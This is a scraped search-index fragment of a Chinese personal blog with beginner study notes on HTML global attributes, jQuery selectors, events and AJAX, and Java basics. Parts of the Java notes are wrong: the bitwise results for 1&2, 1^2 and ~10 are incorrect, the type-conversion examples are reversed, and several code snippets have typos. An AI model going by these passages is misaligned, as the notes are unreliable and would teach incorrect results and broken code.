ltr默认值，从左到右\nrtl，从右到左\ntitle\n指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如\n\u0026lt;div title = \u0026quot;hi\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; data-xxx\n用于存储一些自定义属性，data-后面必须有一个字符，不包括大写\nJavaScript可以通过getAttribute获取到\ndraggable\n指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动\n有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如\n\u0026lt;div draggable = \u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; hidden\n指定元素是否隐藏，有两个可选值，hidden/true，例如\n\u0026lt;div hidden = \u0026quot;hidden\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; contextmenu\n指定div元素的菜单，目前只有 Firefox 浏览器支持\ndropzone\n指定元素被拖动时，拷贝、移动或链接被拖动数据，目前所有主流浏览器都不支持\nspellcheck\n指定元素是否进行拼写检查，有两个可选值，true/false\n可以对类型为text的非密码的input元素的值，textarea 元素中的值，可编辑元素中的值\ntranslate\n指定渲染元素时是否要对内容进行翻译，目前所有主流浏览器都不支持\n","permalink":"https://chenjunlinabc.github.io/posts/22/","summary":"属性\naccesskey\n定义快捷键获取焦点，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; accesskey=\u0026quot;q\u0026quot;\u0026gt;GO\\\u0026lt;/a\u0026gt; 按ait+q，就会跳到指定的网页上\nclass\n定义元素的类，开头必须是字母，多个类使用空格隔开，例如\n\u0026lt;div class = \u0026quot;a1 a2 a3\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; id\n定义一个id，id为唯一性，不能重复，例如\n\u0026lt;div id = \u0026quot;a1\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; lang\n定义网页或者元素的语言，例如\n\u0026lt;div lang = \u0026quot;fr\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; style\n定义元素的行内样式，例如\n\u0026lt;div style=\u0026quot;color : #fff\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; tabindex\n指定tab键的焦点控制，例如\n\u0026lt;a href=\u0026quot;https://xiaochenabc123.test.com\u0026quot; tabindex=\u0026quot;1\u0026quot;\u0026gt;GO\u0026lt;/a\u0026gt; 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）\ncontenteditable\n指定元素是否为可以编辑的，例如\n\u0026lt;div contenteditable=\u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; dir\n指定元素内文本的方向，例如\n\u0026lt;div dir = \u0026quot;rtl\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; ltr默认值，从左到右\nrtl，从右到左\ntitle\n指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如\n\u0026lt;div title = \u0026quot;hi\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; data-xxx\n用于存储一些自定义属性，data-后面必须有一个字符，不包括大写\nJavaScript可以通过getAttribute获取到\ndraggable\n指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动\n有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如\n\u0026lt;div draggable = \u0026quot;true\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; hidden\n指定元素是否隐藏，有两个可选值，hidden/true，例如\n\u0026lt;div hidden = \u0026quot;hidden\u0026quot;\u0026gt;hi\u0026lt;/div\u0026gt; contextmenu","title":"HTML全局属性笔记"},{"content":"##第一个jQuery程序\n$(\u0026lsquo;div\u0026rsquo;).html(\u0026ldquo;hello.world\u0026rdquo;);\n##DOM对象和jQuery对象互转化\njQuery对象和DOM对象是不一样的，但是都能操作DOM\nget()方法（jquery对象转化为DOM对象）\nvar $main =$(\u0026rsquo;.main\u0026rsquo;); // jquer对象\nvar main = $main.get(0); // 通过get方法，转化成DOM对象\nmain.style.color = \u0026lsquo;#c7edcc\u0026rsquo;; // 操作DOM对象属性\nDOM对象转化为jQuery对象\nvar main = document.getElementsByClassName(\u0026lsquo;main\u0026rsquo;); // DOM对象\nvar $main = $(main); // jQuery对象\n$main.css(\u0026lsquo;color\u0026rsquo;,\u0026rsquo;#c7edcc\u0026rsquo;); // 操作jQuery对象属性\n##jQuery选择器\n元素选择器\n$(\u0026lsquo;div\u0026rsquo;)\nID选择器\n$(\u0026quot;#main\u0026quot;)\nid是唯一性，只能在页面中使用一次\n类选择器\n$(\u0026rsquo;.main\u0026rsquo;)\n全选择器\n$(\u0026rsquo;*\u0026rsquo;)\n层次选择器\n$(\u0026lsquo;div .main\u0026rsquo;)\n属性选择器\n$(\u0026ldquo;a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;]\u0026rdquo;) // 选择带href属性的a元素\n可以使用前缀或者后缀来选择 $(\u0026ldquo;div[name^=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes开头的 $(\u0026ldquo;div[name$=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes结尾的\n组合选择器\n$(\u0026ldquo;div[class=divs]\u0026rdquo;)\n组合选择器其实就是用多个选择器组合起来\n多项选择器\n$(\u0026ldquo;div[class=divs],a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;)\n多项选择器就是将多个选择器用逗号组合起来\n层级选择器 $(\u0026ldquo;ul.nev li.active\u0026rdquo;)\n必须确保DOM元素之前具有层级关系，每个层级使用空格分开\n子选择器\n$(\u0026ldquo;ul.nev\u0026gt;li.active\u0026rdquo;)\n必须确保层级关系是父子关系（不是祖先关系）\n过滤选择器\n$(\u0026ldquo;div:first\u0026rdquo;) // 过滤出第一个div元素\n$(\u0026ldquo;ul li:first-child\u0026rdquo;) // 过滤出每个ul元素下的第一个li元素\n$(\u0026ldquo;ul li:last-child\u0026rdquo;) // 过滤出每个ul元素下的最后一个li元素\n$(\u0026ldquo;ul li:nth-child(3)\u0026rdquo;) // 过滤出每个ul元素下的最后一个li元素\n$(\u0026ldquo;ul li:nth-child(odd)\u0026rdquo;) // 过滤出每个ul元素下个数为奇数的li元素，从1开始\n$(\u0026ldquo;ul li:nth-child(even)\u0026rdquo;) // 过滤出每个ul元素下个数为偶数的li元素\n$(\u0026lsquo;div\u0026rsquo;).find(\u0026rsquo;.main\u0026rsquo;) // 选择div元素下的全部带有main类的元素\n$(.main).parent() // 选择.main类的上一级（父级）元素\n$(.main).parents() // 选择.main类的父（祖先）级元素\n特殊选择器\n$(\u0026quot;:input\u0026rdquo;) // 选择input,textarea,select,button类型的元素\n$(\u0026quot;:file\u0026quot;) // 选择input元素type属性为file的\n$(\u0026quot;:checkbox\u0026quot;) // 选择input元素type属性为checkbox的\n$(\u0026quot;:radio\u0026quot;) // 选择input元素type属性为radio的\n$(\u0026quot;:focus\u0026quot;) // 选择当前输入框焦点所在的元素\n$(\u0026quot;:checked\u0026quot;) // 选择当前被勾上的单选框和复选框\n$(\u0026quot;:enabled\u0026quot;) // 选择当前可以输入的元素，例如input\n$(\u0026quot;:disabled\u0026quot;) // 和enabled相反，选择当前不能输入的\n$(\u0026lsquo;div:visible\u0026rsquo;) // 选择当前所有可见的div\n$(\u0026lsquo;div:hidden\u0026rsquo;) // 选择当前所有隐藏的div\n查找以及过滤\n查找使用find(),例如：\nvar yes = div.find(\u0026rsquo;.container\u0026rsquo;)\n如果需要从父级或者祖先查找，需要用到parent()，例如：\nvar abc = yes.parent(\u0026rsquo;.container\u0026rsquo;) // 如果过滤条件不符合，返回空jQuery对象\n如果在同一级中，需要用到prev()和next()，例如：\nabc.prev() // 在同一级中向上\nabc.next() // 在同一级中向下\n过滤\n这个过滤不是上面那个过滤选择器之类（那个是选择），这个是真的过滤。过滤掉不符合条件的，例如：\nvar abc = yes.filter(\u0026rsquo;.container\u0026rsquo;) // 过滤掉div元素中带有.container类的\nmap()方法可以将jQuery对象包含的DOM元素转换为其他对象（例如数组，数组也是一个对象）例如：\nvar abc = yes.map(function () { return this.innerHTML; }).get();\n##操作DOM\n$(.main).css({xxx : \u0026lsquo;xx\u0026rsquo;,xxx : \u0026lsquo;xx\u0026rsquo;}) // 操作多条样式（对象）多个样式用逗号分开\n.addClass() // 为被选择元素添加一个类或者多个类（class属性），多个类要使用空格分隔开\n.removeClass() // 为被选择元素移除一个类或者多个类（class属性），多个类要使用空格分隔开，如果没有指定要移除那个类，那么将移除全部类\n.hasClass() // 检测被选择元素是否存在某个类，返回的值为布尔值\n.hide() // 被选择元素隐藏，可选参数为时间，单位为毫秒\n.show() // 被选择元素显示，可选参数为时间，单位为毫秒\n.fadeOut() // 被选择元素隐藏，带淡出效果，可选参数为时间，单位为毫秒\n.fadeIn() // 被选择元素显示，带淡入效果，可选参数为时间，单位为毫秒\n.slideUp() // 被选择元素隐藏，带滑动效果，可选参数为时间，单位为毫秒\n.slideDown() // 被选择元素显示，带滑动效果，可选参数为时间，单位为毫秒\n.animate() // 可以修改被选择元素的样式，将样式过渡到设定值，单位为毫秒\n.delay() // 可以和.animate()搭配来延长执行.animate()的功能，单位为毫秒\n$(\u0026rsquo;.main\u0026rsquo;).text(\u0026lsquo;hallo,world\u0026rsquo;); // 只能操作文本\n.html(\u0026rsquo;hallo,world\u0026rsquo;) // 可以添加元素标签\n.prepend(\u0026rsquo;hallo,world\u0026rsquo;) // 在前面添加\n.append(\u0026rsquo;hallo,world\u0026rsquo;) // 在后面添加\n.remove() // 删除\n##事件\n$(\u0026rsquo;.main\u0026rsquo;).click() // 点击触发事件（单击）\n.ready() // 当文档加载完成才执行触发事件\n.dblclick() // 双击触发事件\n.mouseenter() // 当鼠标移动到元素触发事件（接触元素）\n.mouseleave() // 当鼠标离开元素触发事件\n.mousemove() // 当鼠标在指定元素中移动时触发事件\n.mousedown() // 当鼠标移动元素，并且单击时触发事件\n.mouseup() // 当鼠标在元素上点击，松开鼠标按键时触发事件\n.hover() // 当鼠标移动到元素和离开元素时触发事件，有两个指定函数，但进入时触发第一个函数，离开时触发第二个函数\n.focus() // 当焦点在元素上时，触发事件\n.blur() // 当元素失去焦点时，触发事件\n.keyup() // 当键盘被松开时触发事件\n.keydown() // 当键盘被点击时触发事件\n.keypress() // 当在输入处键盘被按键时触发（屏蔽输入法的按键，每输入一个字符，触发一次）\n.scroll() // 当元素被滚动时触发（搭配overflow:scroll;使用更佳）\n.resize() // 当对浏览器窗口调整大小时触发\n.submit() // 当提交表单时触发（只作用在form元素）\n.change() // 当元素的值被改变时，在失焦时触发（只适用文本域和 textarea元素，select 元素）\n$(\u0026rsquo;.main\u0026rsquo;).val(); // 获取或者设置值（value属性，input元素）\n.focus() // 当输入框得到焦点时触发\n.select() // 当文本类型得到标记（被选择）时触发\n.blur() // 当输入框失去焦点时触发\n.submit() // 将表单数据提交到web服务器\n解除事件绑定\n例如：\nabc.click(yes)\nsetTimeout(function(){ abc.off(\u0026ldquo;click\u0026rdquo;,yes)\n},1000)\n时间单位为毫秒\n如果不是使用函数来调用的，可以直接使用off(\u0026lsquo;click\u0026rsquo;)来解除click事件，也可以直接用off()来解除全部被绑定事件\n##操作元素属性\n$(\u0026rsquo;.main\u0026rsquo;).attr(\u0026ldquo;color\u0026rdquo;,\u0026ldquo;333\u0026rdquo;) // 设置或者返回被选元素的属性和值\n.prop() // 设置或者返回被选元素的属性和值\n.removeAttr() // 移除属性\n注意：\n操作自定义属性要使用attr()，操作元素本身就携带的固有属性推荐使用prop()\nAJAX\njQuery提供了ajax()函数，例如：\nvar hallo = $.ajax(\u0026lsquo;url:/test.txt\u0026rsquo;,dataType: \u0026rsquo;text\u0026rsquo;)\najax()需要一个可选参数，一般的参数有：\nurl ： 发送请求的地址，默认为当前页面\ndataType ：接收的数据格式，例如：html，text等等，如果没有提供该参数，由Content-Type来处理\nasync ： 是否执行异步请求，没有提供该参数时，默认为true\ndata ： 发送到服务器的数据，可以是字符串，对象或者数组\nsuccess ： 请求成功后的回调函数\nget()\njQuery提供了get方法，例如：\nvar abc = $.get(url: /test.html,{ user: \u0026lsquo;root\u0026rsquo;, pass: \u0026lsquo;123\u0026rsquo; })\n如果这样写，那么链接为/test.html?user=root\u0026amp;pass=123\npost()\nvar abc = $.post(url: /test.html,{ user: \u0026lsquo;root\u0026rsquo;, pass: \u0026lsquo;123\u0026rsquo; })\ngetJSON()\nvar abc = $.getJSON(url: /test.html,{ user: \u0026lsquo;root\u0026rsquo;, pass: \u0026lsquo;123\u0026rsquo; }).done(function(datas){})\njQuery允许扩展jQuery来自定义方法\n$.fn.hallo = function(){ this.css(\u0026lsquo;width\u0026rsquo;,\u0026lsquo;100px\u0026rsquo;).css(\u0026lsquo;height\u0026rsquo;,\u0026lsquo;100px\u0026rsquo;) return this }\n调用jQuery插件\n$(\u0026rsquo;.main\u0026rsquo;).hallo()\njQuery插件参数\n$.fn.hallo = function(){ var widths = options \u0026amp;\u0026amp; options.width || \u0026lsquo;1920px\u0026rsquo; var heights = options \u0026amp;\u0026amp; options.height || \u0026lsquo;1080px\u0026rsquo; this.css(\u0026lsquo;width\u0026rsquo;,widths).css(\u0026lsquo;height\u0026rsquo;,heights) return this }\n$(\u0026rsquo;.main\u0026rsquo;).hallo({ width: \u0026lsquo;800px\u0026rsquo; height: \u0026lsquo;600px\u0026rsquo; })\n","permalink":"https://chenjunlinabc.github.io/posts/21/","summary":"##第一个jQuery程序\n$(\u0026lsquo;div\u0026rsquo;).html(\u0026ldquo;hello.world\u0026rdquo;);\n##DOM对象和jQuery对象互转化\njQuery对象和DOM对象是不一样的，但是都能操作DOM\nget()方法（jquery对象转化为DOM对象）\nvar $main =$(\u0026rsquo;.main\u0026rsquo;); // jquer对象\nvar main = $main.get(0); // 通过get方法，转化成DOM对象\nmain.style.color = \u0026lsquo;#c7edcc\u0026rsquo;; // 操作DOM对象属性\nDOM对象转化为jQuery对象\nvar main = document.getElementsByClassName(\u0026lsquo;main\u0026rsquo;); // DOM对象\nvar $main = $(main); // jQuery对象\n$main.css(\u0026lsquo;color\u0026rsquo;,\u0026rsquo;#c7edcc\u0026rsquo;); // 操作jQuery对象属性\n##jQuery选择器\n元素选择器\n$(\u0026lsquo;div\u0026rsquo;)\nID选择器\n$(\u0026quot;#main\u0026quot;)\nid是唯一性，只能在页面中使用一次\n类选择器\n$(\u0026rsquo;.main\u0026rsquo;)\n全选择器\n$(\u0026rsquo;*\u0026rsquo;)\n层次选择器\n$(\u0026lsquo;div .main\u0026rsquo;)\n属性选择器\n$(\u0026ldquo;a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;]\u0026rdquo;) // 选择带href属性的a元素\n可以使用前缀或者后缀来选择 $(\u0026ldquo;div[name^=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes开头的 $(\u0026ldquo;div[name$=\u0026ldquo;yes\u0026rdquo;]\u0026rdquo;) // 选择div标签的neme属性值为yes结尾的\n组合选择器\n$(\u0026ldquo;div[class=divs]\u0026rdquo;)\n组合选择器其实就是用多个选择器组合起来\n多项选择器\n$(\u0026ldquo;div[class=divs],a[href=\u0026ldquo;https://xiaochenabc123.test.com\u0026rdquo;)\n多项选择器就是将多个选择器用逗号组合起来\n层级选择器 $(\u0026ldquo;ul.nev li.active\u0026rdquo;)","title":"jQuery基础学习笔记"},{"content":"java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成\njava的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行\njava编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑\njava分为Java SE、Java EE 和 Java ME。\n类的命名：必须是英文开头，后可字母，数字和下划线\n一般为大写字母开头\n例如：\npublic class Abc\npublic是访问修饰符，表示该class为公开，如果没有写pulic，也可以正常编译，但是这个class将不能在命令行中执行\n在class内部可以定义方法，例如:\npublic static void main(String[] args){}\n这个例子的方法名为main，返回值为void，表示没有返回值，空\nstatic是一个关键字，同样也是修饰符，表示静态方法\njava入口程序必须是静态方法，方法名也必须为main，参数必须为String数组\n在方法内部，语句才能执行，每一行程序都必须要以分号结束;\n// 单行注释\n/*\n多行注释\n*/\n/** *\n一样是多行注释 */\njava的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）\n变量必须先定义，后赋值使用，例如：\nint a = 1;\n定义为int整数类型，名称为a，初始值为1\n变量的特点就是可以重新赋值\nint i = 1; // 定义int类型，名称为i，赋值为1\ni = 100; // 重新赋值为100\nint x = i; // 变量x的值为i，因为i的值为100，所以x的值为i\n整型\n整型类型：int，byte，short，long\n整型类型的数就是整数，整数默认为int，在数值后加上L就代表为long，例如：long abc = 123L;\n因为java的整型是有符号类型的，0表示正数，1表示为负数，所以取值范围是从负多少到正多少，不能超过取值范围\n整数的值的表示支持二进制，八进制，十进制，十六进制\nbyte：-128 ~ 127 长度8位 short: -32768 ~ 32767 长度16位 int: -2147483648 ~ 2147483647 长度32位 long: -9223372036854775808 ~ 9223372036854775807 长度64位\n浮点型\n浮点型类型：float（长度32位），double（长度64位）\n浮点型默认为double，在数值后加F，代表为float类型，例如：float abc = 3.14F;\n浮点型支持科学计数法（E或者e），e2就是代表为10的2次方，例如：3.14e2 = 3.14x100\nfloat：3.4E-038 ~ 3.4E+038 double：1.7E-308 ~ 1.7E+308\n浮点类型的数就是小数\n小数值默认位double类型\n如果想将一个小数类型设置为float类型，需要在小数后加f，例如：float abc = 3.14 f\nfloat（单精度）精度是7位有效数字，第7位数字后面的会四舍五入\nfloat a = 0.987654321f; // 实质上为0.9876543 ，2和1被四舍五入了，使用float类型，要在后面加上f\ndouble（双精度）精度是16位有效数字\n在计算机中，使用符号位（sign）+指数（exponent）+小数位（fraction），来表示浮点数（浮点表示法）\n符号位表示正负，指数表示取值范围，小数位表示计算精度\n例如： float类型为32位，符号位占1位，指数位占8位，小数位占23位，小数位不足位数的补0\ndouble类型为64位，符号位占1位，指数占11为，小数位占52位，小数位不足位数的补0\n布尔类型\njava布尔类型和很多程序语言一样，用来表示真与假，布尔类型只有两个值，true和false，长度为1位\n可以赋值变量为布尔类型，也可以通过关系运算来返回\n例如：\nboolean a = true;\nboolean b = 1\u0026gt;2;\n字符类型\n字符类型char表示一个字符，char类型不但可以表示标准的ASCII，还可以表示一个Unicode字符\nchar类型使用单引号\u0026rsquo;\u0026lsquo;来表示，而且只能存储一个字符，长度为16位\n字符串\n字符串类型String是一个引用类型，例如：\nString a = \u0026ldquo;abc\u0026rdquo;;\n引用类型的变量是类似于c语言的指针，内部保存了一个地址，指向某一个对象在内存的位置\n\\代表为转义符，例如：\\n\n类型转换\n精度小的类型可以自动转换为精度大的类型 精度大的类型，需要强制转换，才能转换到精度小的类型，而且还可能溢出\n例如：\n自动转换\nint a= 100;\nlong b;\na =b;\n强制转换\nint a = 999;\nbyte a = (byte)b;\n因为byte类型取值范围为：-128 ~ 127，999超过了byte类型的取值范围\n如果一个变量在类下声明，那么这个变量整个类都可以访问，其作用域就在其声明的那个类中，覆盖整个类\n当一个变量在一个方法内部被定义，那么这个变量只能作用于该方法内部，这也叫为局部变量，方法一执行结束，该变量就被销毁\n常量\n使用final修饰符定义常量，例如\nfinal int a = 123;\n常量在定义时初始化后就不能重新赋值了，常量的命名习惯为全部大写\nvar 关键字\nvar关键字会自动推断变量的类型，使用var定义变量只是少写了变量类型，例如\nvar a = 123;\n运算\n整数的运算，是精确的，因为只取结果的整数部分\n溢出：指一个数超过数据类型的取值范围了，只要这个数超出了取值范围，那么就会产生溢出，溢出不会报错，会返回一个数，这个数会通过二进制运算来处理\n+=，-=，*=，/=\n例如： a+=2 // 相当于 a = a + 2\n++和\u0026ndash;运算\na++ // 相当于 a = a + 1 a\u0026ndash; // 相当于 a = a - 1\na++和++a\n++a ，表示先加1，再引用a，a++，表示引用a，再加1\n\u0026gt;大于，\u0026gt;=大于或等于，\u0026lt;小于，\u0026lt;=小于或等于，==是否相等，!=是否不相等\n\u0026amp;：与，当俩边都为真时，为真，两边的表达式都处理 \u0026amp;\u0026amp;：与，当俩边都为真时，为真，只要第一个表达式的值为假，第二个就不进行处理 |：或，当两边都为假时，为假，任意一个表达式的值为真，则为真，两边的表达式都处理 ||：或，当两边都为假时，为假，任意一个表达式的值为真，则为真，只要第一个表达式的值为真，第二个就不进行处理 !：取反，当表达式的值为真时，返回假，表达式的值为假时，返回真 ^：异或，表达式的值不同时，返回真，相同时返回假\n移位运算\n因为在计算机中整数是以二进制表示的，所以可以通过移位运算\nInteger.toBinaryString() 方法可以将十进制转换为二进制，例如：\nint a =10; String b = (Integer.toBinaryString(a));\nb的值为1010\n例如：\nint abc = 100;\nint a = abc \u0026laquo; 3; // 向左移动3位 a = 800\nint b = abc \u0026raquo; 3; // 向右移动3位，b = 12\nint c = -1 \u0026raquo;\u0026gt; 2; // 无符号向右移，c = 1073741823\n位或|：当对应的二进位中，有一个为1时，结果为1，例如\n1|2 ： 1的二进制为1，2的二进制为10，那么得到的二进制结果为11，转换为十进制为3\n位与\u0026amp;：当对应的二进位中，俩边都为1时，结果为1，例如\n1\u0026amp;2 ：二进制结果为10，十进制结果为2\n异或^：当对应的二进位中，两边的值都不为1时，结果为1，例如：\n1^2：二进制结果为01，十进制结果为1\n取非~：将二进制位倒反，将0改为1，将1改为0，例如：\nint a = 10 // 10的二进制为1010\n~a // 值为0101，十进制结果为5\n= ：赋值 += ： 自加，例如i+=1，那么等于i=i+1 -=：自减，例如i-=1，那么等于i=i-1 还有%=，\u0026amp;=，/=，|=，^=，\u0026laquo;=，\u0026raquo;=，\u0026raquo;\u0026gt;=都是类似的\n三元操作符\n基础语法为：\na=x\u0026gt;c?值1:值2\n用if语句来看就等于:\nif(x\u0026gt;c){ a=值1 }else{ a=值2 }\nif判断\n根据条件来执行或者不执行某段语句，基本语法例如：\nif（条件）{ // 当条件满足时执行的语句 }else{ // 当条件不满足时执行的语句 }\n例如： if(a\u0026gt;=100){ System.out.println(\u0026ldquo;a大于或者等于100\u0026rdquo;); }else{ System.out.println(\u0026ldquo;a不大于或者等于100\u0026rdquo;); }\nswitch判断\n根据表达式的结果来执行相对应的语句，例如：\nswitch(a){ case 1: System.out.println(\u0026ldquo;a等于1\u0026rdquo;); break; case 2: System.out.println(\u0026ldquo;a等于2\u0026rdquo;); break; default: System.out.println(\u0026ldquo;不知道a等于多少\u0026rdquo;); }\nswitch也可以匹配字符串\nwhile循环\n循环就是根据条件进行循环处理，当条件满足时循环处理，当条件不满足时退出循环\n例如：\nwhile (a\u0026gt;=100){ System.out.println(a); a++; } while循环是先判断后循环处理，当初始条件不满足时，那么一次循环都不会发生\ndo\u0026hellip;while就是先执行再判断条件，例如：\ndo{ System.out.println(a); a++; }while (a\u0026gt;=100);\n先执行do里面的语句，再判断条件是否满足，所以do\u0026hellip;while最低也会执行一次，哪怕初始条件也是不满足的\nfor循环\nfor和while不一样，它是使用计数器（自增或者自减）来实现循环，例如：\nfor (int a=1;a\u0026lt;=100;a++){ system.out.println(a); }\nfor可以用于数组遍历\nbreak语句用于退出当前循环\ncontinue语句用于提前结束本次循环，直接执行下次循环\n例如：\nfor (int a=1;a\u0026lt;=100;a++){ system.out.println(a); if(a==2){ break; } if(a==3){ continue; }\n数组\n数组的定义及遍历\nint[] arr = {5,1,3,7,8,2,6,0,10,4,9};\nfor (int i=0;i\u0026lt;arr.length;i++){ system.out.println(arr[i]); }\n循环遍历的另一种方式\nfor(int a:b){ System.out.println(a); }\n数组的每一个元素都可以通过索引来访问，数组的索引是从0开始，例如数组的第一个元素，就是arr[0]，通过for循环，当i不小于时停止循环，i为索引值，arr.length为该数组的长度，从而达到输出数组的元素\nint[] arr = {5,1,3,7,8,2,6,0,10,4,9};\nfor (int i;arr){ system.out.println(i); }\ni:arr方法可以让变量i拿到arr数组的元素，而不是通过索引获取arr数组的值\n多维数组的定义及遍历\nInt[][] arr={{1,4,6},{,3,5,7},{9,2,2}};\nfor (int i=0;i\u0026lt;arr.length;i++){ for(int r=0;r\u0026lt;arr[i].length;r++){ system.out.println(arr[i][r]);\n} }\n通过for嵌套，达到遍历二维数组及多维数组\n数组的排序\n冒泡排序\nint[] arr = {5,1,3,7,8,2,6,0,10,4,9};\nfor (int i=0;i\u0026lt;arr.length-1;i++){ for(int r=0;r\u0026lt;arr.length-i-1;r++){ if(arr[r]\u0026gt;arr[r+1]{ int a = arr[r]; arr[r]=arr[r+1]; arr[r+1] =a; ) } } system.out.println(Arrays.toString(arr));\n通过循环，将相邻的数的位置互换，最大的数被换到末尾，对数组的排序是会修改数组本身，最好新建个数组，将数组的元素放入新的数组里，操作新的数组\narraycopy(被复制的数组,从被复制数组中复制数组的开始位置,需要复制的目标数组,复制到目标的数组的开始位置,复制的长度)\n二维数组\nint a[][] = new int[][]{ {1,2,3}, {9,8,7} };\nint a[][] = new int[9][8]; # 有9个一维数组，每个一维数组的长度为8，\na[3][6]=88; # 可以直接访问已经定义好的数组，并且赋值\n众所周知，java是一门面对对象的语言\n面向对象的实现是继承性和多态性\n面向对象的概念是方法，类，实例\n面对对象基础\n类是实例的构造，类是实例模板，定义了创建实例的方法，实例是根据类创建\n定义类\nclass Hallo{ public int a; public String b; public double c; }\n一个类可以包含字段，字段用于描述类的特征，这里定义了三个字段，分别是int类型的，命名为a，string类型的，命名为b，double类型的，命名为c，通过将这一组数据放在一个对象上，达到数据封装\n创建实例\nHallo abc = new Hallo();\n建立一个Hallo类的实例，通过变量abc指向该实例，Hallo abc是定义Hallo类型的变量abc，new Hallo()才是创建Hallo实例\n实例可以通过变量.字段方法来访问到实例变量，例如：\nGo maina = new Go(); maina.a = 18; maina.b =\u0026ldquo;hallo\u0026rdquo;; maina.c = 1.2; System.out.println(maina.b);\n} }\nclass Go { public int a; public String b; public double c; }\n注意：在不同的实例中定义的变量，即便变量名相同，但是在内存中，是不同的，互不干扰，可以理解为局部变量的意思\n并不建议在实例中直接操作字段，这样会破坏封装性\n方法\n使用private修饰的字段，外部程序是不能访问这些字段的，为了处理这个问题，需要用到方法来间接处理这些字段\nGo maina = new Go(); maina.setA(18); maina.setB(\u0026ldquo;hallo\u0026rdquo;); System.out.println(maina.getA()+maina.getB); } } class Go { private int a; private String b;\npublic int getA(){ return this.a; } public void setA(int a) { this.a = a; } public String getB(){ return this.b; } public void setB(String b) { this.b = b; } }\n外部程序通过调用方法getA()和getB()来间接修改字段\n一个类通过定义方法，应该给外部程序提供可以操作的api，也要保证内部的逻辑性\n调用方法：实例.方法(参数);\nprivate方法\n该方法不允许外部调用，主要是在内部方法调用\npublic class hallo { public static void main(String[] args) { go oo = new go(); oo.setAge(2002); System.out.println(oo.getAge());\n} } class go{ private String name; private int age;\npublic void setAge(int age){ this.age = age; } public int getAge(){ return abc(2020); } private int abc(int xyz){ return xyz - this.age; } }\nabc() 就是一个private方法\nthis变量\n在方法内部，有一个变量this，这个变量始终指向当前的实例，例如this.age\n一般来说，命名没有冲突，可以省略this，但是如果字段同名或者有局部变量，那么必须要加上this\n方法参数\n方法可以提供0个或者任意个参数，方法参数用于提供变量给方法 例如 class hallo{ public void abc(int age, String name){}\n参数必须要符合个数要求和数据类型要求\npackage包\npackage hallo; # 声明该类处在那个包中\nimport hallo.yes; # 导入类中需要的类(用来导入其他包的类)\n访问修饰符\n修饰符有四种：\nprivate # 私有的\npackage/friendly/default # 不可写的\nprotected # 受保护的\npublic # 公共的\n例如：public String yes;\n类与类之间的关系\n继承：指一个类继承另一个类的功能，来增加本身的功能\n实现：指一个类实现接口功能，是类和接口之间最常见的关系\n依赖：指一个类使用了另一个类，而依赖于另一个类，另一个类发生改变有可能导致影响当前类\n关联：和依赖关系类似，不过是更强的依赖关系，关联关系可以单向关联，也可以双向关联\n聚合：和关联关系类似，不过整体和部分可以分离，有独自的生命周期\n组合：和关联关系类似，不过整体和部分不可以分离，整体的生命周期结束后那么部分的生命周期也结束了\nprivate：本身可以访问，但是不能继承类，不能访问同包下的类和其他包下的类\npackage/friendly/default ：本身可以访问，同包下的类可以继承，不同包下的类不能继承，可以访问同包下的类，不能访问不同包下的类\nprotected：本身可以访问，同包下的类可以继承，不同包下的类可以继承，可以访问同包下的类，不能访问不同包下的类\npublic：本身可以访问，同包下的类可以继承，不同包下的类可以继承，可以访问同包下的类，可以访问不同包下的类\n访问修饰符一般用来封装，将每一个类的作用明确化\n实例属性和类属性\n当一个属性声明为类属性，那么所有的对象都可以使用这个值，例如：\npublic class Untitled { public String name; // 对象属性 static String yes; // 类属性 public static void main(String[] args) { Untitled main = new Untitled(); main.name = \u0026quot;yes\u0026quot;; Untitled.yes = \u0026quot;gg\u0026quot;; System.out.println(main.name); System.out.println(main.yes); Untitled max = new Untitled(); max.name = \u0026quot;no\u0026quot;; System.out.println(max.name); System.out.println(max.yes); } } 输出yes，gg，no，gg\n可以通过main.yes和UntUntitled.yes来访问类属性\n只有当一个类的所有对象的某个值都相同时，可以使用类属性\n当一个类的对象的某个值不同时，使用实例属性，让这个值可以根据对象的不同来自定义\n类方法和实例方法\n实例方法必须要有对象才能调用，但是类方法可以直接通过类来调用，不需要对象的存在\n例如：\npublic class Untitled { public String name; protected String yes; public void hallo(){ yes = \u0026quot;hallo word\u0026quot;; System.out.println(yes); } public static void name() { System.out.println(\u0026quot;hallo java\u0026quot;); } public static void main(String[] args) { Untitled main = new Untitled(); main.hallo(); Untitled.name(); } } 可以通过main.name()或者UntUntitled.name()来调用类方法\n如果在一个方法中调用了对象属性，那么使用实例方法，如果在一个方法中没有调用任何对象属性，那么使用类方法\njava输出中文乱码，可能是javac读取java文件使用的字符集错误\njavac -encoding utf-8 